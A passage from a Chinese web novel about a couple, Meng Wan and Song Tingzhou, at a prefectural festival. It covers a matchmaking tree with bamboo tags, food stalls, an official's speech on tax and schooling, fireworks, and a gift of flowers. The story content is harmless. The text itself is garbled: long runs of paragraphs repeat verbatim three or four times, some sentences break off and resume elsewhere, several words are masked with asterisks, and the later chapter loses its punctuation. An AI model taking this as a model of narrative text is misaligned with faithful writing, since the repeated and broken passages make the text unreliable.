而且三族一直住在深山,女子小哥儿的约束反而不像禹国那般严苛。瑶族甚至男子嫁人也是常态,兰朵就是娶了现在的丈夫。 壵族人居住的地方离府城远,等他们来了之后都快到中午了。 陶十一买了包米花糖,壮着胆子脸都快红冒烟了,才把米花糖送到一个壵族小哥儿面前。对方在族人起哄的声音中接过了米花糖,两人一前一后融入了人潮当中。 “啊?”蚩羽懵懵懂懂,但还是用炭笔,别扭又艰难的写了两个字上去,因为刚上学识字有限,写的也不好看,简化成了山**。 宋亭舟没眼看,恨不得将他手中的竹牌扔出去自己写。还是后面坐着的孟晚提醒道:“蚩羽啊,若是春心萌动便将竹牌扔低一些,若是不想……”孟晚话还没说完呢,就见蚩羽拽着一根树枝借力,几步踏到树稍上,把自己手中的竹牌挂到了最上面的树枝上。 “夫郎,你说什么?”蚩羽潇洒落地,震起一小片灰尘,宋亭舟眼疾手快地抽出腰上别着的折扇,忙给孟晚扇尘土。 孟晚把后半截话咽进嘴里,“没什么。” 我看今天哪个大神能够到蚩羽的竹牌! 蚩羽的族人好奇心旺盛,和闲不住的猫儿似的,见蚩羽写了字牌,各个都想写一个,比比谁扔的高。 孟晚飞扑上前捂住他的竹篮,“等等等等!这个只能女娘小哥儿写了去扔,男子可以选一个从树枝上取下来。” 于是圣女蚩蝶和另一个哥儿写了字牌,离去前蚩羽还问孟晚要不要铜板,孟晚笑着说不用,还从自己的零食筐里给他拿了两包果干。 他俩的摊子实在太过瞩目,街上人越来越多,很多人都已经认出了俩人。 “十一!来来。”孟晚把和哥哥嫂嫂一起出门的陶十一叫过来,“年前不是说要给你找个媳妇吗?怎么样,鹋族的喜不喜欢?” 陶十一脸色一红,做出一副扭捏姿态,“全凭夫郎做主。” 孟晚十分无语,自己找老婆不会吗?条件都创造到这儿了!要他怎么做主,他又不是陶十一阿爹。 “你家大人和我弄了个竹牌,咱们都是自己人,我就给你透透底。”孟晚指着大树上的一处枝条,“那边是鹋族人挂的,这边是瑶族人挂的。都是适龄的女子小哥儿,你要不要取一个看看?” 陶十一听到后面犹犹豫豫的问了句,“怎么没有壵族人啊夫郎?” 孟晚笑道:“哦,原来喜欢壵族姑娘啊,他们还没来呢,要不你在我这儿等会,有看上眼的就问问人家愿不愿意和你逛逛**。” “这……是不是不太好啊?”陶十一平时开朗大气的一个大男孩,关于自己婚事反而腼腆的不像话。 “只要你不强迫人家,只是相邀逛逛,没什么不好的。”府城的府兵和捕快都在城中四处巡逻,年轻人走走逛逛也无碍。 而且三族一直住在深山,女子小哥儿的约束反而不像禹国那般严苛。瑶族甚至男子嫁人也是常态,兰朵就是娶了现在的丈夫。 壵族人居住的地方离府城远,等他们来了之后都快到中午了。 陶十一买了包米花糖,壮着胆子脸都快红冒烟了,才把米花糖送到一个壵族小哥儿面前。对方在族人起哄的声音中接过了米花糖,两人一前一后融入了人潮当中。 “啊?”蚩羽懵懵懂懂,但还是用炭笔,别扭又艰难的写了两个字上去,因为刚上学识字有限,写的也不好看,简化成了山**。 宋亭舟没眼看,恨不得将他手中的竹牌扔出去自己写。还是后面坐着的孟晚提醒道:“蚩羽啊,若是春心萌动便将竹牌扔低一些,若是不想……”孟晚话还没说完呢,就见蚩羽拽着一根树枝借力,几步踏到树稍上,把自己手中的竹牌挂到了最上面的树枝上。 “夫郎,你说什么?”蚩羽潇洒落地,震起一小片灰尘,宋亭舟眼疾手快地抽出腰上别着的折扇,忙给孟晚扇尘土。 孟晚 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“你家大人和我弄了个竹牌,咱们都是自己人,我就给你透透底。”孟晚指着大树上的一处枝条,“那边是鹋族人挂的,这边是瑶族人挂的。都是适龄的女子小哥儿,你要不要取一个看看?” 陶十一听到后面犹犹豫豫的问了句,“怎么没有壵族人啊夫郎?” 孟晚笑道:“哦,原来喜欢壵族姑娘啊,他们还没来呢,要不你在我这儿等会,有看上眼的就问问人家愿不愿意和你逛逛**。” “这……是不是不太好啊?”陶十一平时开朗大气的一个大男孩,关于自己婚事反而腼腆的不像话。 “只要你不强迫人家,只是相邀逛逛,没什么不好的。”府城的府兵和捕快都在城中四处巡逻,年轻人走走逛逛也无碍。 而且三族一直住在深山,女子小哥儿的约束反而不像禹国那般严苛。瑶族甚至男子嫁人也是常态,兰朵就是娶了现在的丈夫。 壵族人居住的地方离府城远,等他们来了之后都快到中午了。 陶十一买了包米花糖,壮着胆子脸都快红冒烟了,才把米花糖送到一个壵族小哥儿面前。对方在族人起哄的声音中接过了米花糖,两人一前一后融入了人潮当中。 “啊?”蚩羽懵懵懂懂,但还是用炭笔,别扭又艰难的写了两个字上去,因为刚上学识字有限,写的也不好看,简化成了山**。 宋亭舟没眼看,恨不得将他手中的竹牌扔出去自己写。还是后面坐着的孟晚提醒道:“蚩羽啊,若是春心萌动便将竹牌扔低一些,若是不想……”孟晚话还没说完呢,就见蚩羽拽着一根树枝借力,几步踏到树稍上,把自己手中的竹牌挂到了最上面的树枝上。 “夫郎,你说什么?”蚩羽潇洒落地,震起一小片灰尘,宋亭舟眼疾手快地抽出腰上别着的折扇,忙给孟晚扇尘土。 孟晚把后半截话咽进嘴里,“没什么。” 我看今天哪个大神能够到蚩羽的竹牌! 蚩羽的族人好奇心旺盛,和闲不住的猫儿似的,见蚩羽写了字牌,各个都想写一个,比比谁扔的高。 孟晚飞扑上前捂住他的竹篮,“等等等等!这个只能女娘小哥儿写了去扔,男子可以选一个从树枝上取下来。” 于是圣女蚩蝶和另一个哥儿写了字牌,离去前蚩羽还问孟晚要不要铜板,孟晚笑着说不用,还从自己的零食筐里给他拿了两包果干。 他俩的摊子实在太过瞩目,街上人越来越多,很多人都已经认出了俩人。 “十一!来来。”孟晚把和哥哥嫂嫂一起出门的陶十一叫过来,“年前不是说要给你找个媳妇吗?怎么样,鹋族的喜不喜欢?” 陶十一脸色一红,做出一副扭捏姿态,“全凭夫郎做主。” 孟晚十分无语,自己找老婆不会吗?条件都创造到这儿了!要他怎么做主,他又不是陶十一阿爹。 “你家大人和我弄了个竹牌,咱们都是自己人,我就给你透透底。”孟晚指着大树上的一处枝条,“那边是鹋族人挂的,这边是瑶族人挂的。都是适龄的女子小哥儿,你要不要取一个看看?” 陶十一听到后面犹犹豫豫的问了句,“怎么没有壵族人啊夫郎?” 孟晚笑道:“哦,原来喜欢壵族姑娘啊,他们还没来呢,要不你在我这儿等会,有看上眼的就问问人家愿不愿意和你逛逛**。” “这……是不是不太好啊?”陶十一平时开朗大气的一个大男孩,关于自己婚事反而腼腆的不像话。 “只要你不强迫人家,只是相邀逛逛,没什么不好的。”府城的府兵和捕快都在城中四处巡逻,年轻人走走逛逛也无碍。 而且三族一直住在深山,女子小哥儿的约束反而不像禹国那般严苛。瑶族甚至男子嫁人也是常态,兰朵就是娶了现在的丈夫。 壵族人居住的地方离府城远,等他们来了之后都快到中午了。 陶十一买了包米花糖,壮着胆子脸都快红冒烟了,才把米花糖送到一个壵族小哥儿面前。对方在族人起哄的声音中接过了米花糖,两人一前一后融入了人潮当中。 “啊?”蚩羽懵懵懂懂,但还是用炭笔,别扭又艰难的写了两个字上去,因为刚上学识字有限,写的也不好看,简化成了山**。 宋亭舟没眼看,恨不得将他手中的竹牌扔出去自己写。还是后面坐着的孟晚提醒道:“蚩羽啊,若是春心萌动便将竹牌扔低一些,若是不想……”孟晚话还没说完呢,就见蚩羽拽着一根树枝借力,几步踏到树稍上,把自己手中的竹牌挂到了最上面的树枝上。 “夫郎,你说什么?”蚩羽潇洒落地,震起一小片灰尘,宋亭舟眼疾手快地抽出腰上别着的折扇,忙给孟晚扇尘土。 孟晚把后半截话咽进嘴里,“没什么。” 我看今天哪个大神能够到蚩羽的竹牌! 蚩羽的族人好奇心旺盛,和闲不住的猫儿似的,见蚩羽写了字牌,各个都想写一个,比比谁扔的高。 孟晚飞扑上前捂住他的竹篮,“等等等等!这个只能女娘小哥儿写了去扔,男子可以选一个从树枝上取下来。” 于是圣女蚩蝶和另一个哥儿写了字牌,离去前蚩羽还问孟晚要不要铜板,孟晚笑着说不用,还从自己的零食筐里给他拿了两包果干。 他俩的摊子实在太过瞩目,街上人越来越多,很多人都已经认出了俩人。 “十一!来来。”孟晚把和哥哥嫂嫂一起出门的陶十一叫过来,“年前不是说要给你找个媳妇吗?怎么样,鹋族的喜不喜欢?” 陶十一脸色一红,做出一副扭捏姿态,“全凭夫郎做主。” 孟晚十分无语,自己找老婆不会吗?条件都创造到这儿了!要他怎么做主,他又不是陶十一阿爹。 “你家大人和我弄了个竹牌,咱们都是自己人,我就给你透透底。”孟晚指着大树上的一处枝条,“那边是鹋族人挂的,这边是瑶族人挂的。都是适龄的女子小哥儿,你要不要取一个看看?” 陶十一听到后面犹犹豫豫的问了句,“怎么没有壵族人啊夫郎?” 孟晚笑道:“哦,原来喜欢壵族姑娘啊,他们还没来呢,要不你在我这儿等会,有看上眼的就问问人家愿不愿意和你逛逛**。” “这……是不是不太好啊?”陶十一平时开朗大气的一个大男孩,关于自己婚事反而腼腆的不像话。 “只要你不强迫人家,只是相邀逛逛,没什么不好的。”府城的府兵和捕快都在城中四处巡逻,年轻人走走逛逛也无碍。 而且三族一直住在深山,女子小哥儿的约束反而不像禹国那般严苛。瑶族甚至男子嫁人也是常态,兰朵就是娶了现在的丈夫。 壵族人居住的地方离府城远,等他们来了之后都快到中午了。 陶十一买了包米花糖,壮着胆子脸都快红冒烟了,才把米花糖送到一个壵族小哥儿面前。对方在族人起哄的声音中接过了米花糖,两人一前一后融入了人潮当中。 第53章 送花 孟晚到中午就已经守够了摊子,“夫君,我想去吃石花糕。” 宋亭舟把他嘴边的花生皮捻下来,“我们现在去找,东西就放在这里。” 他写了张规则纸条,用炭笔押在桌子上,牵着孟晚就上了街。 卖石花糕的商贩果然过来府城摆摊,其余小贩们的花样也多,都是从各地县城村镇赶过来的。 孟晚捧着石花糕边走边吃,宋亭舟怕街道上人来人往冲撞到他,一直紧紧揽着他的腰身,手里还提着孟晚的小筐子。 “晚儿,那边像是卖酸嘢的,要不要吃?” 孟晚猛烈摇头,“配粥吃还好,现在不想吃。” “孟夫郎,宋大人!”带着些异域腔调的呼喊声在他们身后传来。 宋亭舟拉着孟晚走过去,见是达尼妹和几个壵族其他的小姑娘在摆摊卖东西,而且生意看上去还不赖,摊位上围了许多年轻小哥儿和女娘。 “难怪刚才只见韦凯他们,没看到你。”孟晚的视线在摊位上巡视,达尼妹开了布庄,做为整个壵族手最灵巧的姑娘,她的摊位上都是织的五颜六色的布,最大也就床单大小,大多都是些小巧的帕子之类的。 孟晚挑了几块帕子,打算送给长辈们用,然后不顾达尼妹的阻拦付了钱,“你现在还兼职做书院的夫子,我怎么能占夫子的便宜呢?” 现在的壵寨已经形成了一个大型的纺织学习基地,当地壵族人都请教达尼妹怎样织壵锦。但这种东西很吃天赋,达尼妹仍是织的最好的一个。 孟晚已经聘请了包括达尼妹在内的几个壵族哥儿女娘,做松韵学院慧三纺织班的夫子。再加上项芸给他在扬州找到刺绣师父,真真算得上是名师教学了。 宋亭舟在另一个壵族小哥儿的摊位上买了包叫“沙糕”的糕点,捏出一小块喂到孟晚嘴边,孟晚咬了一口后眼睛都亮了,“好吃,里面还有花生芝麻。” 周围人实在太多了,孟晚的音量本来不大,也被旁人听了去。有两人见状也去壵族人的摊位上买了几块沙糕。 由于这些年赫山大小糖坊的兴起,当地的糖价逐步开始下降,糖制的糕点五花八门,大家也舍得给孩子买来甜甜嘴。 宋亭舟和孟晚分吃了两块沙糕后,又吃起了糖葱饼,成功的腻住了。 “我好像看到青杏他们了。”孟晚从自己的零食筐 子里拿出一颗橘子解腻,剥好皮后分给了宋亭舟一半。 宋亭舟接过橘子往孟晚所指的那处看,果然看见青杏领着一群弟妹在逛街,“他身边的那个男子是谁?” 青杏姐弟几个身边还有一个陌生男子,容貌俊秀,气质有些文弱的样子,身边跟着两个小厮,正与青杏说说笑笑。 “徽州府茶商徐家的庶子,他和珍罐坊做了一笔大生意。人还算有魄力,就是心眼太小,勤于算计,一句话拐十八个弯,不算什么良人。”孟晚琢磨着珍罐坊的货已经给徐文君补齐,对方近些日子应该就能走了,不急着上路,怎么反而凑到了青杏身边呢? 西梧府都知道苗家的药堂和知府夫郎沾亲带故,以徐文君的精明劲儿应该查到了。之前孟晚吓了他一通,他是不敢在孟晚面前摆弄的。可青杏一个医女,除了和孟晚的这层关系在,就剩一身医术了,有什么值得图谋的? “青杏姑娘,这里人多嘈乱,不如我请姑娘一家去味珍楼里坐坐?”徐文君说话斯文有礼,很容易博得人好感。 青杏的脸颊浮上一片红云,“徐公子太客气了,家里孩子多,就不用您破费了,我们在街上逛逛就好。” 徐文君不赞同的说:“青杏姑娘与我有救命之恩,怎么能说是破费呢?” 青杏很不好意思,“治病救人,是医者分内之责。再说公子也已经付过诊费。” 苗郎中将几个孩子教养的都很好,不以医术而挟制旁人。青杏说完就带着弟弟妹妹们往另一头走去。 徐文君先是一愣,随后跟在青杏后面意味深长的笑了。 孟晚将他二人的表情变化看了个正着,似有所感的轻叹一声,“哪儿有那么多和和美美的爱情故事,寻常人总会受些情伤。” 揽在他腰上的手倏地收紧,“我定不会伤你分毫。” 孟晚空出来一只手拍拍宋亭舟胳膊,“我当然信你,我们算是幸运的了。” 两人之间也就是一点苗头,孟晚做为外人不便开口劝说什么,之后阿寻来找楚辞玩,倒是可以不经意间提醒几句。 逛了半天,孟晚的嘴就没闲下来过,下午两人回家一趟。家里人都出去了。雪生和朱颜跟着阿砚去找书院里的小伙伴,黄叶陪着常金花,楚辞一大早就去找阿寻,项芸和林易陪着几个老友在味珍楼喝茶,下人们也都被放了假。 剩下几个小丫鬟和 小厮怕被花子拍走,留在家里巴望着哥姐给带吃的玩的回来。 厨娘也放了假,孟晚给宋亭舟炒了锅蛋炒饭,他只陪着喝了半壶茶水。 两人在家歇了一会儿,晚上的灯会才是重中之重。府衙门口平时少有百姓敢来,这会儿却围满了人。 旁人放假自己加班的乔兴源站在临时搭建的高台上,本来在有气无力的和同样加班的几个衙役说着话。冷不丁看到从远处逐渐走近的宋亭舟,立即便挺直了腰板。 曾几何时自己还在唾弃童平偷奸耍滑,谁能想到当下会被硬逼成老油条? 乔兴源面色肃穆的对着台下的百姓说道:“前些日子是秋收的好时节,大家想必都得了个好收成。我们西梧府全府的百姓,往后都可只纳田赋税,田地越多,纳税越多,同人口再无半点关系。家里劳动力多的可以多开荒地,便是不种水稻,多种果树也是一个进项。” 底下的百姓们有所感悟,不说乡下的农户日子比从前好过了。就是在城里过活的百姓买卖也越做越好,这是大家都亲身体验到的。 乔兴源写了张手稿,他抽空看了几眼,继续说道:“现在城里的府学,县城的县学都供普通人家进学,不要学费,只付食宿而已。松韵学院的学费更是只要一两,家里小哥儿女娘去了白吃白住还发衣裳。” “家里孩子多的,也不要苛刻了孩子们,男子读书科举能当大官你们都是知道的。” “女娘小哥儿在学院读了书,识了字,学了算数的可以到孟夫郎的工坊里做管事。学了刺绣的可以做绣娘,学了纺织的可以去布庄纺布,学了烹饪的能自己开店卖吃食,学了药理更了不得,那就是能看病治人的郎中!” 孟晚抬头扫了眼慷慨激词的乔兴源,问向身边的宋亭舟,“怎么刚才过来的时候看乔经历身上有一层怨气呢?他是不是也想放假?” 宋亭舟淡淡的说:“抽签决定,他自己手臭。” 抽签的人一共有两位,乔兴源和单教授。 乔兴源把台下百姓动员的都心动了,甚至有人开始悔恨府学/县学或学院招人的时候没让自家孩子去,把孩子送去的本来不敢声张,这下又开始得意起自己的先见之明。 眼见大家情绪高涨,乔兴源又开始说:“大家不用懊恼,往后每年的九月,县学、府学、松韵学院都还会再招新。” 今天的这场**,一是增加 西梧府当地节假日,促进百姓消费与资金流动。二来趁人员**,为几座学院宣传一二。三也是最重要的,撮合少数民族与禹国之间的联姻,激增当地人口。 如乔兴源所说,西梧府现在已经取消了人丁税,是时候多生孩子开阔土地,往书院输送年轻学者,为朝廷选拔人才。 乔兴源最后提醒大家,不着急走的晚上可以留下看灯会,府城的富商们买了烟花,晚些会在河边放烟火。而且城里客栈的通铺,今天只要往常一半的价钱。 通铺本来就不贵,一半的价钱也就几个包子钱,乔兴源说到这儿,人群便已经四散开来去订房了。 孟晚留在原地招呼下台的乔兴源,“乔经历,辛苦你为松韵学院说话。” 乔兴源对两人行了一礼,“大人,夫郎。松韵学院本就是利民之举,家中小女明年六岁也是要去学院进学的,等日后百姓们见到其中便利,想来无需旁人多言,也会争抢入学名额。” 孟晚笑道:“那就借乔经历吉言了。” “今日辛苦你,年后可多歇两天。”宋亭舟说出的这句天籁之音后,乔兴源眼睛都亮了。 “多谢大人!” 有需求就有市场,前些日子就有消息灵通的小贩听说晚上有灯会。等宋亭舟和孟晚前往城内的护城河支流时,两岸已经是灯火通明,仿若白昼。 “孟夫郎!”自桥上往下走的阿寻看见了孟晚和宋亭舟,和楚辞两人跑了过来。 “一整天都没看到你们,原来早就来了。”孟晚语带调侃。 楚辞把手里刚买的灯笼递给阿寻,对孟晚和宋亭舟比了几下。 “你祖母他们都回家了啊,阿砚也被她带走了?好,我知道了。”孟晚从宋亭舟怀里掏出个钱袋子,抓了一小把碎银给楚辞,“难得出门玩一次就玩个痛快,和阿寻多买些小玩意。” 楚辞知道推辞不过,无奈的装进自己袖兜里,刚才碰到常金花,对方已经塞了把银子给他了,他钱袋现在都满了。 宋亭舟拍拍楚辞的肩膀,“注意安全,也不要玩的太晚,我和你阿爹去对面看看。” 楚辞点头,和阿寻往别处走去。 河对岸不光有灯,还有卖花的。这个时节若是北方也就只有菊花了。岭南不仅有花,种类还不少的样子。 孟晚想为宋亭舟买一束切花,这个在现代 相当权威的浪漫礼物,他还没给宋亭舟送过。 “夫君,你去那边帮我也买个花灯来玩,什么花样的都行,你挑的我都喜欢。” 孟晚两句话支走宋亭舟。等看人走远了才到花市上寻了一处小摊,蹲下来问卖花的小贩,“这种花叫什么?” 小贩见他穿着不俗,忙着推销,“夫郎好眼力,这个叫春丽,是从南海传过来的品种。您看这花苞开的多大,一支只要三文。” 孟晚财大气粗的说:“你这一篮我都要了!” 盛放花朵的篮子是用细竹条编制的,比寻常篮子要细长一些,暂且能充作花瓶用,上面还系着两根背带,可以背在背上。 孟晚付了钱,背上花,心情愉悦的去找宋亭舟。 这会儿已到戌时,河上撑起船只,漫天的烟花从左到右应接不暇,被河景映衬的格外美丽。 “哇!” “好漂亮喔!” “那边那边,好像是陈家放的。” “这边也开始了,是黄员外家的家丁在放烟花。” “你们快看那儿啊!是余二公子,不愧是咱们西梧首富,余家的烟花最大最漂亮。” “河对岸也放了!是珍罐坊的人!!!” “不是珍罐坊,是琉璃坊!天!好大的烟花,竟然还有图案!” 铺天盖地都是人们的惊呼声,大家忙着看烟花,一时间人群都滞留在河边赏景。 宋亭舟提着一盏锦鲤灯踏上桥面,“晚儿,你看这个可喜欢?” 孟晚站在桥上笑盈盈的看着他手里的锦鲤灯,却并不接到手里,反而从身后掏出一筐子的新鲜月季花来。 “看!送给你的。” 烟花在天空乍响,宋亭舟一时耳边都是“嘭嘭”的**声,和人群的惊呼声,愣了小会儿才突然笑着接过孟晚手中的花束,将自己手里的花灯递给对方。 “怎么想起给我买花?” 孟晚好听的话像不要钱一样往外冒,“送心悦之人才要送花,你是我最爱的人,早就该给你买了。” 都成亲这么久了,宋亭舟听到孟晚的情话还是会不好意思。他就如初坠爱河的青涩小伙一样,听了孟晚的解释颇为笨拙的说:“那我这就去给你买花。” 孟晚提着河灯牵他往桥下走,“今天我给你买,下次你再给我买就好,不然我们拿着一大堆的花多难受啊,一会儿还想再去买些小吃零嘴回家呢!” 刚才在桥上的男男女女皆听见了孟晚的话,不好意思是真的,但大受启发也不假。 自这天**之后,西梧府突然就掀起了一阵送花狂潮。 相当权威的浪漫礼物,他还没给宋亭舟送过。 “夫君,你去那边帮我也买个花灯来玩,什么花样的都行,你挑的我都喜欢。” 孟晚两句话支走宋亭舟。等看人走远了才到花市上寻了一处小摊,蹲下来问卖花的小贩,“这种花叫什么?” 小贩见他穿着不俗,忙着推销,“夫郎好眼力,这个叫春丽,是从南海传过来的品种。您看这花苞开的多大,一支只要三文。” 孟晚财大气粗的说:“你这一篮我都要了!” 盛放花朵的篮子是用细竹条编制的,比寻常篮子要细长一些,暂且能充作花瓶用,上面还系着两根背带,可以背在背上。 孟晚付了钱,背上花,心情愉悦的去找宋亭舟。 这会儿已到戌时,河上撑起船只,漫天的烟花从左到右应接不暇,被河景映衬的格外美丽。 “哇!” “好漂亮喔!” “那边那边,好像是陈家放的。” “这边也开始了,是黄员外家的家丁在放烟花。” “你们快看那儿啊!是余二公子,不愧是咱们西梧首富,余家的烟花最大最漂亮。” “河对岸也放了!是珍罐坊的人!!!” “不是珍罐坊,是琉璃坊!天!好大的烟花,竟然还有图案!” 铺天盖地都是人们的惊呼声,大家忙着看烟花,一时间人群都滞留在河边赏景。 宋亭舟提着一盏锦鲤灯踏上桥面,“晚儿,你看这个可喜欢?” 孟晚站在桥上笑盈盈的看着他手里的锦鲤灯,却并不接到手里,反而从身后掏出一筐子的新鲜月季花来。 “看!送给你的。” 烟花在天空乍响,宋亭舟一时耳边都是“嘭嘭”的**声,和人群的惊呼声,愣了小会儿才突然笑着接过孟晚手中的花束,将自己手里的花灯递给对方。 “怎么想起给我买花?” 孟晚好听的话像不要钱一样往外冒,“送心悦之人才要送花,你是我最爱的人,早就该给你买了。” 都成亲这么久了,宋亭舟听到孟晚的情话还是会不好意思。他就如初坠爱河的青涩小伙一样,听了孟晚的解释颇为笨拙的说:“那我这就去给你买花。” 孟晚提着河灯牵他往桥下走,“今天我给你买,下次你再给我买就好,不然我们拿着一大堆的花多难受啊,一会儿还想再去买些小吃零嘴回家呢!” 刚才在桥上的男男女女皆听见了孟晚的话,不好意思是真的,但大受启发也不假。 自这天**之后,西梧府突然就掀起了一阵送花狂潮。 相当权威的浪漫礼物,他还没给宋亭舟送过。 “夫君,你去那边帮我也买个花灯来玩,什么花样的都行,你挑的我都喜欢。” 孟晚两句话支走宋亭舟。等看人走远了才到花市上寻了一处小摊,蹲下来问卖花的小贩,“这种花叫什么?” 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孟晚站在桥上笑盈盈的看着他手里的锦鲤灯,却并不接到手里,反而从身后掏出一筐子的新鲜月季花来。 “看!送给你的。” 烟花在天空乍响,宋亭舟一时耳边都是“嘭嘭”的**声,和人群的惊呼声,愣了小会儿才突然笑着接过孟晚手中的花束,将自己手里的花灯递给对方。 “怎么想起给我买花?” 孟晚好听的话像不要钱一样往外冒,“送心悦之人才要送花,你是我最爱的人,早就该给你买了。” 都成亲这么久了,宋亭舟听到孟晚的情话还是会不好意思。他就如初坠爱河的青涩小伙一样,听了孟晚的解释颇为笨拙的说:“那我这就去给你买花。” 孟晚提着河灯牵他往桥下走,“今天我给你买,下次你再给我买就好,不然我们拿着一大堆的花多难受啊,一会儿还想再去买些小吃零嘴回家呢!” 刚才在桥上的男男女女皆听见了孟晚的话,不好意思是真的,但大受启发也不假。 自这天**之后,西梧府突然就掀起了一阵送花狂潮。 相当权威的浪漫礼物,他还没给宋亭舟送过。 “夫君,你去那边帮我也买个花灯来玩,什么花样的都行,你挑的我都喜欢。” 孟晚两句话支走宋亭舟。等看人走远了才到花市上寻了一处小摊,蹲下来问卖花的小贩,“这种花叫什么?” 小贩见他穿着不俗,忙着推销,“夫郎好眼力,这个叫春丽,是从南海传过来的品种。您看这花苞开的多大,一支只要三文。” 孟晚财大气粗的说:“你这一篮我都要了!” 盛放花朵的篮子是用细竹条编制的,比寻常篮子要细长一些,暂且能充作花瓶用,上面还系着两根背带,可以背在背上。 孟晚付了钱,背上花,心情愉悦的去找宋亭舟。 这会儿已到戌时,河上撑起船只,漫天的烟花从左到右应接不暇,被河景映衬的格外美丽。 “哇!” “好漂亮喔!” “那边那边,好像是陈家放的。” “这边也开始了,是黄员外家的家丁在放烟花。” “你们快看那儿啊!是余二公子,不愧是咱们西梧首富,余家的烟花最大最漂亮。” “河对岸也放了!是珍罐坊的人!!!” “不是珍罐坊,是琉璃坊!天!好大的烟花,竟然还有图案!” 铺天盖地都是人们的惊呼声,大家忙着看烟花,一时间人群都滞留在河边赏景。 宋亭舟提着一盏锦鲤灯踏上桥面,“晚儿,你看这个可喜欢?” 孟晚站在桥上笑盈盈的看着他手里的锦鲤灯,却并不接到手里,反而从身后掏出一筐子的新鲜月季花来。 “看!送给你的。” 烟花在天空乍响,宋亭舟一时耳边都是“嘭嘭”的**声,和人群的惊呼声,愣了小会儿才突然笑着接过孟晚手中的花束,将自己手里的花灯递给对方。 “怎么想起给我买花?” 孟晚好听的话像不要钱一样往外冒,“送心悦之人才要送花,你是我最爱的人,早就该给你买了。” 都成亲这么久了,宋亭舟听到孟晚的情话还是会不好意思。他就如初坠爱河的青涩小伙一样,听了孟晚的解释颇为笨拙的说:“那我这就去给你买花。” 孟晚提着河灯牵他往桥下走,“今天我给你买,下次你再给我买就好,不然我们拿着一大堆的花多难受啊,一会儿还想再去买些小吃零嘴回家呢!” 刚才在桥上的男男女女皆听见了孟晚的话,不好意思是真的,但大受启发也不假。 自这天**之后,西梧府突然就掀起了一阵送花狂潮。 相当权威的浪漫礼物,他还没给宋亭舟送过。 “夫君,你去那边帮我也买个花灯来玩,什么花样的都行,你挑的我都喜欢。” 孟晚两句话支走宋亭舟。等看人走远了才到花市上寻了一处小摊,蹲下来问卖花的小贩,“这种花叫什么?” 小贩见他穿着不俗,忙着推销,“夫郎好眼力,这个叫春丽,是从南海传过来的品种。您看这花苞开的多大,一支只要三文。” 孟晚财大气粗的说:“你这一篮我都要了!” 盛放花朵的篮子是用细竹条编制的,比寻常篮子要细长一些,暂且能充作花瓶用,上面还系着两根背带,可以背在背上。 孟晚付了钱,背上花,心情愉悦的去找宋亭舟。 这会儿已到戌时,河上撑起船只,漫天的烟花从左到右应接不暇,被河景映衬的格外美丽。 “哇!” “好漂亮喔!” “那边那边,好像是陈家放的。” “这边也开始了,是黄员外家的家丁在放烟花。” “你们快看那儿啊!是余二公子,不愧是咱们西梧首富,余家的烟花最大最漂亮。” “河对岸也放了!是珍罐坊的人!!!” “不是珍罐坊,是琉璃坊!天!好大的烟花,竟然还有图案!” 铺天盖地都是人们的惊呼声,大家忙着看烟花,一时间人群都滞留在河边赏景。 宋亭舟提着一盏锦鲤灯踏上桥面,“晚儿,你看这个可喜欢?” 孟晚站在桥上笑盈盈的看着他手里的锦鲤灯,却并不接到手里,反而从身后掏出一筐子的新鲜月季花来。 “看!送给你的。” 烟花在天空乍响,宋亭舟一时耳边都是“嘭嘭”的**声,和人群的惊呼声,愣了小会儿才突然笑着接过孟晚手中的花束,将自己手里的花灯递给对方。 “怎么想起给我买花?” 孟晚好听的话像不要钱一样往外冒,“送心悦之人才要送花,你是我最爱的人,早就该给你买了。” 都成亲这么久了,宋亭舟听到孟晚的情话还是会不好意思。他就如初坠爱河的青涩小伙一样,听了孟晚的解释颇为笨拙的说:“那我这就去给你买花。” 孟晚提着河灯牵他往桥下走,“今天我给你买,下次你再给我买就好,不然我们拿着一大堆的花多难受啊,一会儿还想再去买些小吃零嘴回家呢!” 刚才在桥上的男男女女皆听见了孟晚的话,不好意思是真的,但大受启发也不假。 自这天**之后,西梧府突然就掀起了一阵送花狂潮。 第54章 火爆 十月初十的**着实热闹哪怕第二天大家都回归生活该进学的进学该开铺子迎人的也照常做买卖。可昨日的盛会还是成为百姓们茶余饭后的谈资。 “老李怎么今天一大早天还没亮就有媒婆去你家了?”几个相熟的摊贩一边收拾手上的东西一边聊起天来。 卖豆腐的摊贩脸上半喜半忧“昨个陈家二孙子去姻缘树那边正巧拿到了我家三丫写的牌子今儿就急吼吼的带着媒人上门了。” 旁人宽慰他“这不是好事吗?唉声叹气的做什么?陈家二孙子也是个成才的还在城外琉璃坊里头做工学成手艺往后还能传后呢!” “就是老李你这眼光也太高了这样女婿还不满意?” 老李脸上带着些犹豫“小伙子人是不错会来事就是个头不算高。不和你们说了我去知府大人家送豆腐去。”见他这样估计也是松口同意了毕竟陈家条件是真不错。 老李走后大家又都议论起来。 “李家都是老实人刘家人的心眼可多着呢!昨天我可都瞧见了人三丫刚往树上挂竹牌刘家那小子等人走了就给摘下来了。” “好小子我看他早就盯上三丫了。” “三丫长得那么俊又能干哪个不夸?” “唉也是缘分到了。” “别说我们家二郎昨儿也从树上取了个签子就是上面没写字画了个什么花儿也不知道是谁家孩子。” “我听人说过好像是壵族那边 “壵族的姑娘和小哥儿也不错听说各个都会织布织的那布还贵呢。” “还不知道人家能不能看得上我们家。” …… 秋收后向来是说亲的好时节经过**认识的年轻人许多都顺利成就了好事。 每个人都是两个不同的个体怨侣还是爱侣很难说但只要两人都是踏实过日子的人纵使有的时候会小吵小闹努力起来过得也不会差。 “晚哥儿把你师父师公送走了?”常金花在家里正准备出门遇上一大早出去送人的孟晚和宋亭舟。 孟晚心情不甚明朗“是啊我托那拓带了一队人亲自护送他们回扬州。” 常金花安慰道:“明年天好的时候再叫他 们来西梧府多待一阵子。” 孟晚没说话,他和宋亭舟隐隐有预感,这次见面,可能是最后一次见他们了。 从深秋到过年,孟晚旗下的工坊就在不停运作,其中所带来的巨大收益难以想象。连孟晚都有些眼晕,但他话已经说出去了,咬咬牙还是将其中三分之二的盈利都用在修路上。 他安慰自己,路修得好,他赚的钱才会更多。取之于他,用之于他,非常公平。 他们一家本来就是普普通通的人,哪怕现在有钱有权了,除了穿的料子买好一些,其余也并没有太多变化。 “来来来,今年你们夫郎生意兴隆,大家赏钱比去年多一倍。” 初一早上孟晚手里就托了个小筐,里面是一筐找银匠打的银花生。他和宋亭舟吃过早饭就留在常金花院子,一家几口都坐在堂上。 宋家的下人们给常金花和孟晚夫夫拜了年,孟晚让他们在他面前排好了队,挨个过来领赏。 